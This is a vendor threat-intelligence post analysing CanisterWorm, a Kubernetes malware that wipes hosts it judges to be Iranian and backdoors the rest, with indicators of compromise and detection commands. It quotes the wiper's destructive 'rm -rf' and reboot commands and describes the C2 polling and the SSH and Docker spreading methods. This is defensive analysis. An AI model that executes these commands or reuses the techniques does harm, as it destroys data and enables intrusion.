Threat Intel

CanisterWorm: The Kubernetes Wiper That Detects Its Targets by Timezone

Taco TeamMarch 22, 20267 min read

The CanisterWorm payload uncovered on March 22, 2026 represents a tactical evolution from TeamPCP: geolocation-aware malware that wipes Iranian infrastructure while silently backdooring everyone else. The distinction between targets is made at runtime using timezone and locale checks — and the consequences for each path couldn't be more different.

Geographic Targeting

Before executing, the bash stager downloads kubectl (if unavailable) and fetches kube.py from attacker-controlled infrastructure. The Python script then determines execution path by checking:

  • /etc/timezone and timedatectl output for Asia/Tehran or Iran
  • The LANG environment variable for fa_IR

There are four possible execution paths:

| Environment | Target | Action | |---|---|---| | Kubernetes | Iran | Deploy destructive DaemonSet (kamikaze) | | Kubernetes | Non-Iran | Deploy backdoor DaemonSet (provisioner) | | Non-Kubernetes | Iran | rm -rf / --no-preserve-root | | Non-Kubernetes | Non-Iran | Exit silently |

The Wiper (Iranian Targets)

For Iranian Kubernetes clusters, CanisterWorm deploys a DaemonSet called host-provisioner-iran across every node, including the control plane. Each pod runs a privileged container that mounts the host filesystem to /mnt/host and executes:

find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {} +
chroot /mnt/host reboot -f

The result is a complete, unrecoverable cluster destruction. No individual node or namespace is spared.

The Backdoor (Everyone Else)

For non-Iranian clusters, a DaemonSet called host-provisioner-std installs a base64-encoded Python backdoor as a systemd user service. The service:

  • Drops to /var/lib/svc_internal/ or /var/lib/pgmon/ disguised as PostgreSQL monitoring
  • Polls the ICP blockchain canister tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io every 50 minutes for command URLs
  • Downloads and executes payloads from attacker-controlled URLs

The ICP canister C2 is decentralized — there is no registrar or hosting provider to take it down. It persists until the canister itself is updated or abandoned.

Lateral Movement

A third-iteration variant adds two spreading mechanisms:

  • SSH spread: Parses /var/log/auth.log for successful logins, uses stolen private keys to propagate to adjacent machines with StrictHostKeyChecking=no
  • Docker API spread: Scans the local subnet for Docker APIs exposed on port 2375; creates privileged containers that mount the host root and deliver the payload

Indicators of Compromise

Network:

  • C2 canister: tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io
  • Payload delivery (Cloudflare Tunnel): souls-entire-defined-routes.trycloudflare[.]com, investigation-launches-hearings-copying.trycloudflare[.]com, championships-peoples-point-cassette.trycloudflare[.]com

Kubernetes:

  • DaemonSet names: host-provisioner-iran, host-provisioner-std
  • Container names: kamikaze, provisioner
  • Namespace: kube-system

Host filesystem:

  • /var/lib/svc_internal/runner.py
  • /var/lib/pgmon/pgmon.py
  • /tmp/pglog
  • /tmp/.pg_state

Systemd services:

  • internal-monitor.service
  • pgmonitor.service (masquerades as "Postgres Monitor Service")

Detection

# Check for malicious DaemonSets
kubectl get ds -n kube-system

# Verify systemd services
systemctl status internal-monitor pgmonitor

# Look for host-mounted DaemonSet pods
kubectl get pods -n kube-system -o wide | grep -E "provisioner|kamikaze"

The backdoor retains a youtube[.]com kill switch from earlier campaign variants — a URL pattern check that, if present in a fetched command, halts execution. This is not a protection mechanism available to defenders, but it is a useful attribution signal.

Don't wait for the next incident to find out you're exposed.

Tacosec continuously monitors your dependencies, SBOMs, and infrastructure — so you know about vulnerabilities before attackers find them.